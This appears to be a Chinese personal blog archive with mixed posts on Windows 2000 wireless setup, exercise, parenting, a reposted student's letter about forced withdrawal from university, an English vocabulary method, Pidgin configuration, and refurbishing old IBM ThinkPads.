windows2000下配置无线网络

windows2000下配置无线网络

win2000下能配置无线网络吗？可以肯定地说，肯定可以。同时也可以肯定地说，无法使用系统自带的工具进行无线网络配置，我有四五种无线网卡，总结起来，有如下几种方法可以配置无线网络：

1、在"网络连接"，属性，"配置"中，可以看到无线网卡本身的一些属性，如果这些属性中，有的驱动是直接有配置的界面，可以输入SSID，WEP等值的地方，

2,要是没有可以输入这些值的地方，就只能使用网卡自带的配置工具。这些配置工具，必须到原厂的网站下载。

windows 2000如果打了sp4，在系统服务中，会出现wireless
configuration服务，但这个东西其实并没有多少用处，无法提供ssid/wep的输入界面。我没有尝试windows提供的命令行网络配置，要是你使用这样的方法成功了，请给我发个邮件告知。

网上所有的文章，几乎都使用了第二种方法，都是使用了厂家提供的工具。其实这种方法也挺好，厂家提供的工具非常方便，许多不过可以配置认证方法，加密方式，无线接入点选择，而且还有其它的一些功能细节，使用起来还是比较方便的。

linux下就方便多了，可以有各种的配置工具，配置命令都可以快速地完成无线配置。但最近比较疑惑，我选择的几个linux版本，都无法提供令人满意的用户体验，关键在于，这些版本的linux和windows2000相比，在我这台老笔记本上面，速度太慢，不是说2.6
的 kernel，速度提升很高吗？怎么比windows 2000慢很多吗？舍弃了那么多功能，我只能使用windows
2000完成一些简单的文档写作，听听音乐啥的，更多的就干不了，连个脚本都没法用，更没法写个简单的程序了。总之，用了几周的windows
2000，让我变的又傻又懒了。

军队般的训练量

前几天到了30多度，现在又变的象冬天，冷嗖嗖的风，吹着树上刚长出的嫩芽。

感觉特别地累，累的一直没有休息过来，晚上11点早上7点起，中午还要睡上一小觉，还是没有休息过来。
上周未骑车郊区游，逛了一天，骑了也就几十里路，可能是顶风骑累着了，回来后，从周一到周五，每天晚上跑20圈，20X400 =
8000米，心里还在想，这是不是军队里的训练量？这下可倒好，到了周六，感觉实在是累，尤其是大腿，酸痛酸痛的，一直没有休息过来。去老魏那儿做了全身按摩，昨天去骑车走了很远的路，回来了还是酸痛，在操场跑了3圈就顶不住了，赶紧回家睡觉。
早上6点和小善宝一块儿起床，不停地打着呵欠，感觉晕晕乎乎地。这状态，要是有项目立即赶过去的话，还真些顶不住。怎么才能减下这一身的膘来呢？整天精神头老是不足啊。

教孩子学会虚伪

教孩子学会虚伪

最近教孩子学会了虚伪。感觉这是件好事，于是记录一下。

碰到其他阿姨时，善宝露出灿烂的微笑，奶声奶气地喊"阿姨啊"，最后一定要带个长长的啊音。最夸张的时，和别人再见时，小手挥舞的那个频率，象是随意的把工具一丢的动作，带着兴高彩烈的情绪。我都注意小家伙很久了，根本不拿眼睛看着别人，仍然认真地玩着自己的玩具，只是听到大人说，要跟谁再见的时候，挥起自己的小手来，朝某个方向表示几下。

和其他小朋友一起玩的时候，也不打人了，有时摸摸其它小孩的头，有时则是把自己的玩具拿出来，换人家的玩。

善宝在不知不觉中，学会了礼貌，也压抑了自己最初的想法，不能打人，见人要打招呼，离开时要再见。

其实，这么小的孩子，心里怎么会关心这些事情呢？他最关心的是什么？最关心自己拉的一泡尿，一堆巴巴，与自己最有关的一些事情，睡觉吃饭什么的。每次蹲在地上尿了，就拉大人的手，要求过去给他擦干净了。每次拉巴巴了，就"啊啊啊"地指着，象是自豪地向大家展示自己的一项杰作。所有的游戏和故事，都是围绕着孩子自己的吃喝拉散，再加上一点儿简单的游戏，这些才是一岁零三个月的小孩，最最关心的事情。其他的，都是浮云，只不过照顾了下大人的情绪，按照大人的意愿，去适应这个世界而已。

可是，虚伪虽然是件可憎的事情，却也是没有办法的事情。许多时候，世界都需要礼貌、交换.....这样一堆一类的规则。世界不能没有规则，否则由着人的本性，会变的更加黑暗和暴力。规则，可以让自己适应别人，迁就别人，照顾到别人的利益，在与其它人相处的时候，不能无限放大自己的人性和需求，而是在各方的需求中达到平衡。对，规则才能平衡。

不管怎么说，小孩学会虚伪，学会这个世界的规则，也不是坏事，他需要照顾着别人的利益，在自己幸福的同时，也让别人开心幸福，让共同的利益最大化。这样，这个世界才能更美好。

现在的社会，也许处于变革期，规则还不完善，所以才有腐败，有贪污，有各种各样只顾着自己的利益，砸小商贩的摊子，不顾矿工的死活，劳工没有保障，农民只能温饱，白领变成房奴，不公平的高考制度，刚毕业就失业，啃老族，经济体服务买办，剧亏的美国国债，高价买进石油和铁矿粉。。。。。许多时候，成人世界只要学会小孩子遵守的一些规则就行了。小学生守则就挺好，人们能做好吗？

军队里的训练量

前几天到了30多度，现在又变的象冬天，冷嗖嗖的风，吹着树上刚长出的嫩芽。

感觉特别地累，累的一直没有休息过来，晚上11点早上7点起，中午还要睡上一小觉，还是没有休息过来。
上周未骑车郊区游，逛了一天，骑了也就几十里路，可能是顶风骑累着了，回来后，从周一到周五，每天晚上跑20圈，20X400 =
8000米，心里还在想，这是不是军队里的训练量？这下可倒好，到了周六，感觉实在是累，尤其是大腿，酸痛酸痛的，一直没有休息过来。去老魏那儿做了全身按摩，昨天去骑车走了很远的路，回来了还是酸痛，在操场跑了3圈就顶不住了，赶紧回家睡觉。
早上6点和小善宝一块儿起床，不停地打着呵欠，感觉晕晕乎乎地。这状态，要是有项目立即赶过去的话，还真些顶不住。怎么才能减下这一身的膘来呢？整天精神头老是不足啊。

北外香水女生的家信

妈妈：我被北外强制退学了。
阅读(1006712) 评论(10413)
发表时间：2009年03月16日 02:57

本文地址：http://qzone.qq.com/blog/622008752-1237143424
本文标签: 香奈尔 北外 教育部 外语 退学
本文已被推荐到腾讯博客, 点击了解更多精彩内容
学校责令我的爸爸和妈妈必须今天赶到北京，因为他们的女儿闯下了大祸，他们在星期一当天必须到北京到学校，负责后果自负。
天亮的时候，妈妈就会赶到北京，爸爸已经来了，我百口莫辩。
我无法向爸爸和妈妈解释为什么是这样的。事情在突然间变的如此糟糕。

所以想了很久，博客还是继续更新把。既然我已经闯祸了，就继续下去。我真的不知道我错在那里？难道我很个人的表达观点会引来这么大的麻烦？
我真不知道为什么是这样的。也不知道继续写什么。

为了给妈妈解释清楚，刚才给妈妈写了一封信。准备明天交给她，面对她流泪的情形，我真不知道如何表达。只好用信，这个最传统的、比较正式的沟通方式。
我知道她为我这个事情流泪是必然的，可怜天下父母心。

今天就把这个信公开一下，也算为关心的朋友解释一下。无奈有时候也是一种勇气。因为有些事只有面对，我无法逃避。

亲爱的妈妈：

在此，我十分惭愧的告诉您一件事。我被学校强行退学了。希望您听到这个消息的时候不要担心和难过。这一切都是我自己惹的祸，但你和爸爸、奶奶都要相信：你们的孩子是个好孩子。她没有做出什么不可饶恕的坏事，现在发生的一切都会用时间来证明：我没有错。如果说真话会成为不可原谅的罪过，那么我宁愿不要这个毕业证，我不想用失去尊严和说谎来交换一个基本没有价值的学历。

我长大了，不再是那个只会听你们安排的小女孩。

我觉的很有必要把这个事情发生的真实过程告诉您：
3月4号,我在一个网站开了自己的个人博客，陆续写了些小文章。我上网时候知道最近在召开两会，很多人大代表和政协委员都在讨论关于教育改革和就业的问题，自己也就一时冲动，马上结合自己的感受写了几个小文章，内容主要是关于当今外语强制教育的,而且戏称让赵本山当教育部长，这句真是开玩笑的，因为是个人日记，就娱乐了一下。本来自己闹着玩的，没有想到被网站推荐到了首页，然后引起了网友的广泛讨论。3月12号,有报纸报道了这件事.该报道被其他多家报纸和媒体转载.报道的题目是这样的：北外女生炮轰外语强制教育。

接下来的事情就比较麻烦，13日上午和下午，我们系的刘老师2次找我谈话，先是了解关于学生和找工作情况的，接下来就直接问我博客的事情，说我的博客直接攻击教育部，攻击教育部就是攻击国家政权，给学校领导造成了很大的压力，
学校要求我立刻停止博客更新，撤掉文章，否则后果很严重。接着刘老师拿出了学生守则，说你在外面实习没有办注册手续，按照规定是旷课，已经连续2周了，所以你已经违反校规，达到了被除名的条件。说实话，我再过三个月就毕业了，找到工作的很多学生和我一样都在外面实习，像我这样的情况也很多，为什么以前好好的没事，我一批评教育部就问题来了，今年就业形势这么紧张，谁不珍惜来之不易的工作？我恨不得天天加班讨好上司，表达我是有工作热情的，可以和男同学一样天天加班，不辞劳苦。

妈妈,你是知道的,我在公司实习,每天回来都很晚了,学校注册的地方是关了门的.我休息的时间,它也不开门.于是就拖了下来。接着，刘老师告诉我：你这已经没有注册两周了,这得按流程走.看你这心思也不在学习上,听说你一直写文章什么的,挺耽误学习.你在这方面有专长也挺好,发展发展.但你违反学校规定了,要是不尽快办手续,学校是不会保留你学籍的,连肄业证明也不会给你.到时候什么都没有就不大好了.接着她就给我纸和笔.催着我写退学申请.我当时一下就慌了.我很怕.其实近20年的学生生涯,我最怕的就是老师找谈话.虽然我是成年人了,但我对此有着习惯性的本能的畏惧.我翻着学生守则,开除和自愿退学是有区别的.开除是要通报批评,好象还要在教委备案的.不尽快退学,学校不给保留学籍和户口，那样我是不是就是黑户了?
我多年的书白读了?

如果真是这样,你和爸爸该有多伤心? 我还有资格最你们的女儿么?
我不想伤害你们,我当时脑中是一片空白.我问老师该怎么写,怎么个格式.老师说,写学习跟不上吧.我说,这也不实际啊.我学习还可以吧。于是,我含糊的写了工作原因,没能按时上课.这还算和学校列出的借口接近。
我很沉重的签下了我的名字.
我相信老师和我一样清楚，强制逼迫我退学的原因是因为我写了博客。批评了教育部。而且老师也很明确的告诉我，如果博客不写了，承认错误了，一切都可以商量。
我不想在大庭广众之下违背自己的良心，已经批评了，就不改口了。我不想拿自己的尊严来和学校交换毕业证。

妈妈，我承认我冒然批评教育部的做法有点傻，有点自以为是。但我没有认为自己做这个事情有什么错误，现在也一样。这是我的真心话，我就是这样想的，无论到了什么时候，说过的话我一定会承认，做过的事情会自己担当。

我长大了，妈妈，我知道我做这个事情的后果。上大学这四年，尤其是找工作这半年，我对社会有了自己的认识。我算明白了一个道理：反正说假话你也找不到工作，说真话自己会过的舒服一点。

在我签字的时候,妈妈,我想到的不是我自己,而是你和爸爸.
我知道你们一直为自己的女儿感到自豪和骄傲.其中有一个很大的原因：就是我从小到大都是一个乖孩子，学习也很好，在考大学的时候我有很多的选择：北大、北外或者其他学校都不是问题。但最后是你让我上的北外。你认为女孩学外语会很时尚，以后当个老师很安稳。我也就听了您的话，报考了北外最好的系之一：德语系。

但我如果不签这个申请,学校会不会还找出各种理由证明我是个坏学生,然后把我开除,不要再继续给学校捣乱抹黑?如果你们知道我连肄业证都拿不了,也许连学籍资料都没有了,你们该是什么样的反应?该是何等的伤心?那你和爸爸是不是会更加伤心,会想,你们的女儿怎么会是这样的呢?

离开老师办公室的时候,脑中映出的,是妈妈，你的容颜.
妈妈,我来到北京外国语大学,最高兴的应该是您.让女儿进外语学院学外语,是您的心愿.按照您的意思,我放弃了我最爱的北大中文系.来到最好的外语学院,最好的专业.终于圆了您一个外语的梦.

我仍记得七岁的时候,您和爸爸就送我去学外语.东北的冬天很冷.爸爸骑自行车载着我去上课。我仍记得,从小学到高中,你们对我寄予厚望,让我一直在最好的重点学校读书.您一直监督我的功课,三四岁的时候就教我认世界地图,记历史朝代.您自己省钱,却买大量的课外书给我,从儿时起的积淀至今都让我收益菲浅.原本学俄语的您,为了我艰难而努力的学起了英语,每天考我单词,听我背课文.我的每点进步都让你们激动不已,我的每个个挫折都让你们无比焦心.高考成绩出来后的电视台采访我,让我谈学校心得，在旁边坐着的您,露出我见到过的，最美丽的笑容.

二十几年过去,你们的女儿,在你们细心的培养和呵护下,长大了.而你们,却老了.
在爸爸五十岁生日的那天,我很刹风景的泪流满面.因为我没想到,像钢铁一样的父亲,曾经为我撑起一片天的你们,也会老.
流泪的那一刻,我知道我长大了.
长大,意味着我要承担做为一个成年人的责任.意味着,我不该再让你们为我操心.意味着,今后的几十年,轮到我,作为女儿,来悉心的照顾你们.
而今天的事情,让我很羞愧.我很怕.很怕伤害到你们.

。。。。。。
可是现在，可我所说的,让我和您引以为荣的北京外国语大学,却在以我为耻.
妈妈,从小你和爸爸就教我一个做人最基本的道理,就是诚实,要说真话.
我认为自己一直是个活的很真实的人.我遵从自己内心最真实的感受,表达内心最真实的想法.难道在中国,不会说外语的人是没有活路的,说真话的人是可耻的么?
我真的认为,外语强制教育制度是不对的.

爸爸也是个党员.作为一个中国人,我真的无比热爱我的国家.我丝毫没有反叛国家的意思.受教育,是每个公民的权利和义务.在受教育的机会上,应该每个人都是平等的.事情都是客观的.我只是从很善良的角度提出了我的看法.我想我们的教育制度变得更好.人们的生活更加的幸福.我是为了国家更好.国家强大了我们才更加有地位.
只是我有点天真，以为自己读了几年书，看了几本书就以为自己很了不起，就以为说真话，提建议是一种提醒公民价值的行为。
所以很傻天真，很天真的人是我。对不起，妈妈。我错了。
在这个世界上，我不知道有些话是不能说的。

但是，妈妈,爸爸,请你们不要为你们的女儿担心.这件事情,不会改变我的人生.请你们坚信你们的女儿是优秀的,这件事并不会代表什么.我会继续做一个说真话的人.继续为我自己的未来而努力的。
我一定会让你们继续骄傲的，像以往一样，让你们充满自豪，为我。

发一些即将离开我生活四年的北外的几张照片作为留念

更有朝气，更有活力

早上五点起来，天刚露白，外面静静的，似乎所有的东西都停止下来，天地间没有一丝的声响。
打开台灯，读书，有些不能集中注意力，看了一会儿，设设行程日历，看看外面的山色阳光，想想未来的打算，还没迷糊多长时间，老婆的闹钟响了，赶紧跑到厨房，蒸上馒头做好粥。小善宝光光的身子，又爬在妈妈身上，啊唔啊唔地了，指指这个，摇摇那个，嘟囔着只有他自己才懂的句子。昨天洗了澡？身上香香的，滑滑的，真正小宝宝的皮肤，小善宝光着小身子坐起来，到处找他刚才随手一放的玩具。我不管三七二十一，直接抱过来穿衣服。就这点儿好，穿衣洗脸洗澡，从来都是一副乐在其中的样子，咧着嘴发出快乐的声音。

又是一个晴天。买的配件昨天就到了，今天就到拿到手了，盼了好几天，焦急万分，终于到手上了。现在机器就很快了，写文档上上网，完全没有问题，再花几十块钱，把配置升级一个档次，更加完美了。现在还有几张盘没刻，集成所有补丁的精简版sp4
windows 2000，以及深度优化的xp (集成sp3)，一直想折腾硬盘安装，却一直不行。有那精神头，还是折腾折腾别的吧。

无论如何，以后和小善宝一起睡觉起床了，早上五点晚上十点，雷打不动的作息时间，晚上看四五个小时的书，比上网或者其它强多了。昨天听说邱老师的事，感觉这人更有趣了。据说上医院检查，医生直接让她回家该吃嘛吃嘛吧，已经快不行了。结果人家就这样早上四五点起来，看几个小时书，再活动一小时，过段时间再去检查，啥事儿没有。本来给他老公孩子，都下了若干遗嘱了，呵呵。不过这人心态非常之好，整天和个文化痞子似的，讲哲学课讲的头头是道，万分有趣，经了这一场变故，更是锦上添花，把课堂变的妙趣横生了。
很长时间没见，这几个家伙都买车了。最近老李同志也不组织腐败，连去欣赏一下新车的机会都没有，整天在这蹲着，照顾好自己的身体吧。向邱丽丽学习吧。

快速背单词

　伍君仪：北京大学医学心理学硕士，"透析英语"掌门人，在北大独创出一套"绝世武功"：用英文和电子词典加上一套心法就能练成顶级英语高手，不仅让你轻松通过四六级、考研英语、GRE，还能熟练阅读英文原著，成为翻译高手，此法屡试不爽，首都各高校曾邀请他做过十几场讲座传授"透析学习法"。目前，"伍林弟子"已经遍及全国各地，北大英语老师也成为"透析英语"的积极推广者。

　　下面，请听伍君仪揭秘成为英语高手的窍门。

　　你读过英文小说或者任何一本英文原著吗？你具备读英文原版书的能力吗？现在英语教育体系存在严重缺陷：只能读教材，但到了实际应用，就连简单的英文版《达・芬奇密码》都读不下去，更不用说处理英文商务公函、市场分析报告等专业层面的资讯。

　　生词多不怕 有电子词典

　　读英文原著提高水平是大家都明白的，问题是真要读起来有技术上的问题：生词密度较大影响理解，查词典麻烦又影响阅读兴趣。如何挖掘新式学习工具带来的高效率，关键是如何引导学生用电子词典去阅读原著。具体做法是：

　　1.准备一本英文原著（第一本最好是通俗易懂而且有趣的）。

　　2.建议每读两页（32开）就用电子词典任选查1个生词，其他生词尽量猜意思，实在不行才有限度地多查（以后一定要过渡到每两页只查1个）。注意把握内容大意，允许细节理解上的偏差。查出来的生词随即存入电子词典生词库，然后关机继续读，这样就不用停下来试图记住生词，尽量把查单词对阅读的影响降到最低。

　　3.每日集中复习电子词典库存生词，做一次"英译中"和"生词拼写"练习，把练习正确的单词从生词库中删除，剩下的连同新一天读书查出来的生词混在一起，留待下一天进行同样的处理。生词记忆的最终完成，是靠它们在原著中不同情节语境中反复出现。

　　4.初期训练每天至少读20页，旨在克服阅读习惯上的困难，持续一个星期。

　　核心操作：

　　打开书本，从正文开始阅读，遇到生词的时候，使用电子词典查单词――每2页有且只有查1个生词！！！

　　然后，存入电子词典的生词库。存入生词库的具体操作随不同品牌产品、型号而有所不同，请参阅你的产品说明书。主流产品一般设计有一个键调出生词库列表，（例如文曲星会列出"科技"、"文化"、
"体育"三个预先设定好的库，也可以自己重新命名，或者添加新的生词库），供你选择存放在哪一个生词组里头。这样存一个词需要按4、5次键盘，于是电子词典设计了快捷键，只要一按那个存词的键，当前单词便直接存入"默认生词库"里头。"默认生词库"也需要预先设定，在诺亚舟里，做法是在生词库列表中按上下箭头键选择要设为默认的一个生词库，按"＝"键，该生词库后头就显示（默认），设置成功。在手机上也很简单，在Xcome的朗文词典里，按"书签"键就直接把单词存入了。

　　每2页有且只有查1个生词适用于32开左右大小的图书（简称"小书"）；而16开左右大小的图书（简称"大书"）则每1页有且只有查1个生词。本书若不特别指明，均以小书作为示例讨论。

　　" 每2页"指数码页，非纸张页。例如，一本书的第2页和第3页，第1024页和第1025页，刚好是书本摊开的两面。"每2页"形成一个查词单元。除非"每
2页"中你一个生词也没碰到才不用查，任何情况下只能查1个生词――不能多，也不能少。词组、短语等在电子词典中是与单词处于同等地位的词条，亦视为一个
"词"。

　　阅读原著的时候，是读到某个生词时认为需要查单词就使用查词机会，而不是每翻到新的2页先挑出1个生词来查，也不是每读完2页后再回头找
1个生词来查，简而言之――随读随查。从电子词典查出的生词马上存入机器的生词库，以备进一步处理。确认生词存入生词库之后便可关机，不要试图即时记住。

　　看完这本书如果对"每2页查1个生词"还有印象，就已经足够了。在"每2页"中，无论碰到多少个生词――10个好，20个亦好，只能1个。这是透析法长期试验和总结得出来的"金标准"，因为：

　　・查少了，单词没有积累；
　　・查多了，影响阅读进度，并影响后续操作；
　　・书本摊开的两面作为查词单元具备很强的操作性，不必分心考虑"看多少才查词"的问题，习惯形成以后不容易忘记查词操作。

　　假如你的英语文化水平确实较低，连透析的
"最低配置"――初中生的水平也没达到，可以适当上调参数，每1页查1个或者更多，而且一定有具体限制，一定要放过一定数量的词不查――这仍旧不是标准的透析，必须尽快过渡到"每2页查1个生词"的金标准。核心参数的设置就是要训练你获得"阅读原著时遇到大量生词时仍能读下去"的能力。

　　"多查几个不行吗？"

　　"2页才查1个太少了吧？"

　　请不要讨价还价：没有任何商量的余地，因为这是海量阅读的必要条件。阅读量是查词的前提――我不反对通过大量查词扩充词汇量，但必须根据核心参数有相应的原著阅读量配合。例如，每天掌握50个生词完全可以，但你必须读够100页。要知道，脱离定量背景阅读查的生词是记不住的。

　　千万别以为"每2页查1个生词"太少。每天读上几十页的时候，就一点都不少。日后你要处理成千上万页，"每2页查1个生词"和"每1页查1词"的差别都是巨大的。参数的稍许修改将直接影响阅读与单词记忆的平衡，全面打乱透析原著的操作，后果很严重！"每2页查1个生词"不但符合休闲原则，而且涉及阅读的安全性问题。多查1个生词都会倍增你的工作量，最终迫使你放弃原著阅读――这就是透析失败的最严重后果。衡量一下几个生词重要，还是几十本原著重要？提前告诉你：当你用这个方法读到60本原著以上的时候（大概需要几年），你会出现"生词荒"，即是找不到生词的情况，到时你会更真切地体验到"每2页查1个生词"
强大的生词处理效率！

　　每2页才有1个查词机会，你可能会问：生词多多，如何选择？答曰：悉随尊便。可以查重现率高的词，因为查明意义就能明白书中许多地方；可以查你认为"关键"的词，如小说关键情节中的生词；还可以从"功利"出发，优先查考试中可能出现的"大纲生词"，等等。我在读《Augustus》（《奥古斯都传》）的时候，有一页我查了个很古怪的生词augur（古罗马用观测飞鸟等方法预卜未来的占卜官），为何？因为这个词和我的英文名Augustus很像！特别是在词汇量迅速扩大以后，读一本词汇不多的原著（例如现代著作）时，你会慨叹"生词查无觅处"，每2页中可能只有一两个――那就要查你碰到的第一个生词了，如果放过就可能就再也找不到生词了。有朋友建议进一步细化选词规则，例如某个单词出现第2次才查――没有必要：复杂的选词规则使你分神去想查哪个生词合适，导致注意力没集中到原著的内容上。单词只不过是阅读的工具，原著材料的内容才是透析操作的第一追求，请不要本末倒置。

　　英文单词往往一词多义，我们完全没有必要把所有词义都一下记住，只要找到能够解释原著语境中的具体词义就足够了。例如《 The
Moonstone》（《月亮宝石》）136页："bears as near as may be, due
south."查"due"，电子词典给出下列一箩筐解释：adj.(1)适当的；应有的，应得的；应给的；正式的；充分的
(2)（车船等）预定应到的；预期的；约定的 (3)欠款的，应支付的；（票据等）到期的
adv.（罗盘指针）正（南、北等）n.（1）应得物；应得权益；应有的承认 (2)[~s]应付款；税；会费

　　显而易见"正（南）"是对口的解释。因而，没有必要把所有的解释都塞到大脑里，只要把原著的句子读通了，查词的目的就达到了。

　　反过来，如果碰到学过的词，却发现意思解释不通，就很有可能是该词的不常见释义，我们应当成生词处理。例如，《The
Odysseys》（荷马史诗《奥得赛》）里Odysseus说："We stepped the
masts."我们自以为step是最简单不过的词了，可是解作"踏，跨步"是怎么也说不通的。查词，电子词典显示："vt.【海】竖立（桅杆）于桅座上
"。这里，step就是一个不折不扣的生词，应该存入生词库，同时占据该"每2页"的查词名额。因此，在一知半解的情况下，还得虚心多向电子词典请教。

在查词单元之中，没查的词是"透过"，查的词是"析出"，合称"透析"。

　　2、电子词典货仓式背词

　　假设你今天读了20页，电子词典的生词库里就增加了20个生词。

　　第二天起床以后，捧起英文原著之前，按顺序进行如下操作：

　　1．打开单词复习菜单中的"英译汉"或者"英翻中"功能，检查自己能否看到单词时马上想起中文意义（原著中相应的意义便可）。
　　2．打开拼写测验功能，测验库存单词。如果"测验范围"或者"测验词库"的设置不是生词库，请先将测验的对象设置为生词库。有的产品要求全部拼写，有的产品提供首尾字母提示，有的产品仅需填入随机抽空的几个字母：难易差别对效果也没有影响。
　　3．回到生词库界面，逐一审核库存生词，看能否回忆。成功通过前两个步骤，并且审核也通过的单词，从生词库中删除；否则任何一步出错都要保留，留待明天进行同样的操作。每日的单词审核删除叫做"出货"。
有些电子词典产品不具备步骤1和2所需功能，只能略过，效果影响还不算很严重，因为复习强度会在日后的阅读中得到自动补偿。但最好还是选购主流电子词典，它们都具备这些常用的功能。

　　货仓式背词对来自原著的生词进行了3次重复记忆，是很强的初步记忆。但是，它并不是使你一劳永逸地记住当天的生词，而仅仅是让生词在你的大脑里登记一下。注意：没通过的生词不要尝试当天就进行多次复习，就让它在货仓里多存几天，让它慢慢渗入你的大脑皮层――每天的货仓式背词只需进行一次。真正的长期的、牢固的、理解性的记忆是靠长期读原著逐渐完成的。

　　生词库就是你的生词货仓：每天存货，次日出货。只要货如轮转，每天都能记住一批生词。这种机械化自动化的单词"批量生产"拥有当前学习方法的最高效率：阅读查词与记忆操作分离，把生词集中起来处理，去除了"强迫自己记住"的主观成分，从而最大限度地保证了阅读的连续性。例如，我在一本原著中碰到"daguerreotype"（银版照相法），如果停下来努力记下这个又臭又长的生词，阅读肯定没法进行下去；而根据操作规则我只是把它存到生词库里，然后立即恢复阅读。在复习和测验的时候，不必强求自己做对而苦苦回忆，以免在操作上耽误时间。想不起来说明你对该生词还不熟悉，请检测下一个。同样是那个"daguerreotype",我足足存了10天才出货――货仓式背词根据单词的难易和你当时的记忆状态自动安排好每个词需要保留的时间，免除了主观的判断。

　　我的货仓存货量随每天透析阅读量的不同而改变，常在10~30之间，很少超过50。因此，每日测验是个轻松的习惯。货仓的吞吐量，间接反映了进步的速度。

　　不要以为留着生词舍不得删效果会更好。不删的话，"每2页查1个生词"的进度很快就会造成生词库积压，将会打击你背词的兴趣――臃肿的生词库已经和一般词汇书无异了。盲目保留生词不会增加你对生词的熟悉程度；删除并不意味对它的记忆过程到此为止。只存货不出货，不仅占据货仓的周转空间，还会使存货在仓内烂掉。

　　无暇阅读的日子，也要坚持货仓式背词。生词库就没有进账，每天的背词操作很快就会耗竭生词存货，提示阅读正处于停止状态，催促你尽快恢复阅读。"阅读可停，货流不断"。

　　"Ideas that have great results are always simple ones."――《War And
Peace》（《战争与和平》）第1262页。

　　两个原则:
　　1．每本英文原著须从一而终读到底：浅尝辄止是读书的大忌；换书要在10页内作出决定，透析超过10页以后必须坚持到底。
　　2.每本英文原著一般只透析一次，除非你有特殊目的，切忌一本原著读完又读。这个世界信息爆炸，绝大多数信息你只能接触一次，所以你必须习惯永不回头。

注：本文系编者根据网上资料整理而成，但愿中心思想没有偏离原作者要求。

pidgin与amsn

pidgin 中文乱码的问题，而且QQ上的好友列表，全部显示为null。可以这样解决，只要设置gtk为中文字体，并将gtk的主题设为一个更好看的就行了。步骤如下：
找到 GTK\2.0\etc\gtk-2.0\gtkrc这个文件，打开后只有一行，改为
gtk-font-name = "SimSun 9" gtk-theme-name = "Clearlooks"
后面的主题，其实可以在themes的目录中，找到许多，也可以使用程序GTK\2.0\bin\gtkthemeselector.exe 进行选择。
因为我的机器上安装的英文windows 2000，所以打开这个程序后报错。就象ipmsg也不能用一样。所以，直接修改gtkrc就行了。
这个配置文件的名字，倒和linux下的一样。
还有个挺好用的东东 amsn，这个基本和微软的msn功能差不多，同样支持视频和语音通话，还有那些表情什么的，好处是速度快没广告。

上当

上当

最近几周，又花220元钱买了一台IBM笔记本。价格倒是真便宜，220块也就吃顿饭的价格。不过机器经过10来天寄到手，拆开包装一看，成色倒是真对的住这价格。以IBM钛合金那种结实骨架，基本都磕的到处是伤。外面的黑色漆掉了一块一块，象是被火烤过一般，摸上去感觉粘乎乎的。

打开屏幕，倒是亮色完美，无班无点，再一敲键盘，可毁了，手感还不如30块钱的键盘。比我原来买的同型号的tp600，更是没法比了。而且上面若干键位也粘乎乎，倒是倒过咖啡。敲上去，有若干键位也没有响应。

拆机。少了若干镙丝，可谓少皮没毛。硬盘架也没有了，用几块破报纸垫着，靠，这哥们儿还真是有财，居然想出这么个招儿。不过倒也说的过去，用报纸塞好以后，牢固程度不差起原机配套的硬盘架。

最扰心的是，对硬盘只读不能写，换上在另一台机器上能用的硬盘也不行。无法安装系统，只有读取无法写入，靠，这叫什么事儿？也没听说主板会有这种毛病。这个问题无法解决的话，就只能找个光驱位硬盘架了。

又从网上找了块CPU，花了55，机器速度和现在最流行的机器配置也差不多了。要是再有个键盘，把硬盘问题搞定，就更完美了。

这个型号的光驱位硬盘架不好找，看看吧。暂时用不着这机器，先放柜子里。

其实也没什么抱怨的，光屏幕的价格也值220了。但对着这么个破机器，总感觉失去了许多。哎，以后不折腾这个了。需要机器，直接一步到位，买最新最高配置吧。

今天的折腾

今天对cpu风扇加了润滑油，感觉真是爽，耳朵贴近了才到听到声音，非常非常地安静，感觉真是幸福。Cpu加润滑油非常简单，但可能固态的润滑油并不好，有空还是买点儿表油或缝纫机油吧。老东门有种缝纫机油，好像才5毛钱一管，呵呵，买点儿那个也挺好。就是好像存不了半年期限吧。现在手里还有大量的锂基润滑油，效果肯定比一般的润滑油好多了，不容易挥发，另外也不容易粘灰尘，特别适合电机轴承上面使用。本来就是用在这上面的嘛。
一时冲动，又买了几样东西，花了买这台IBM笔记本时花的钱，220元。共计哪些东西呢。
1、 Mmc1 PII 400cpu
这个已经是极品了，mmc1下的最高规格，升级到这台机器上面，可以再用一段时间。另外，这个速度写东西、上网，甚至用来解决工作上的一些事情，也满够用了。平时也可以放着作BT一类。
2、 Tp600e主板。现在的这块主板，可能IDE口损坏，无法对硬盘进行写操作，只能读硬盘基础信息，连分区信息都读不出来。另外的一个可能，是IDE排针有松的地方，回头拿到这新主板后，就对现在这块主板进行助焊，把排针重新折腾一下。另外，这样的配件以后不好找了。而这块手感巨好的笔记本，我还想用上十年八年的，就权当配件吧。
3、 Tp600系列的键盘。理由同上。另外，现在的这个键盘，有几个键位也有问题，也权当配件吧。
4、 Tp600 cpu风扇。卖家比较好，白送了，另外还送了旧的小红帽。真是不错啊。
5、 SDRAM 128MB内存。笔记本上的pc100
SD内存不好找了。这个比较便宜，上次想了想没收，这次一并收过来了。以后可能要两台机器同时开起来了，一台老婆拿来写点儿论文啥的，一台我做工作备机。
上面的配件，共花了220，唉，和上次买的两块IBM笔记本一个价格。第一块260元，第二块220元。虽然第一块配置低，但成色接近九成新，键盘手感特别好。第二块就惨了点儿，只能用垃圾来形容了。
买了一堆配件，也算是提供个机会玩一玩，权当娱乐活动了。看三台笔记本拆成上百个零件，散落在两个桌子，还是很好玩儿的。

移动的无线上网本可以更快

移动的无线上网本可以更快。
移动的cmnet网络存在大量蠕虫病毒。接入不超过10分钟，就会感染。使用蜜罐系统，可以很快抓取样本。现在好多运营商开始上3G业务，其实对于有限的网络资源来说，对接入端的网络操作控制也非常重要，可以提高有限的资源利用率，把有限的网络带宽放到有用的地方，阻断蠕虫病毒和广播包、垃圾包对系统的影响

最好用的飞信版本

移动的飞信体积非常庞大，win2000下的飞信一直不能用，无论使用哪种方法安装，未打任何补丁的win2000是没法折腾能用的。前些天找了飞信助手，也不能用。
今天发现一个好用的工具。Libfetion，其实很早前就在linux下用了。今天发现，居然还有windows和Macos的版本，真是功能强大。而且体积巨小，速度巨快，在www.libfetion.cn下载后，上去看了一下，还提供各种开发api接口，真是太棒了。另外，还支持iphone，以及普通手机的sybian版本。这可不是一般的强啊。有兴趣的赶紧试试吧。
解压后，直接运行，提示缺少msvcr8.dll，到原来的飞信目录下面，可以找到对应的文件，复制到%system%系统目录下面，可以用了。感觉真棒。

又见颈椎病，每小时必须活动一下

http://6764296.blog.hexun.com/30197566_d.html

最近的一本好书

http://data.book.hexun.com/book-4006.shtml

"百度一下：互联网时代的2008年度记忆"简介
《百度一下》 作品相关
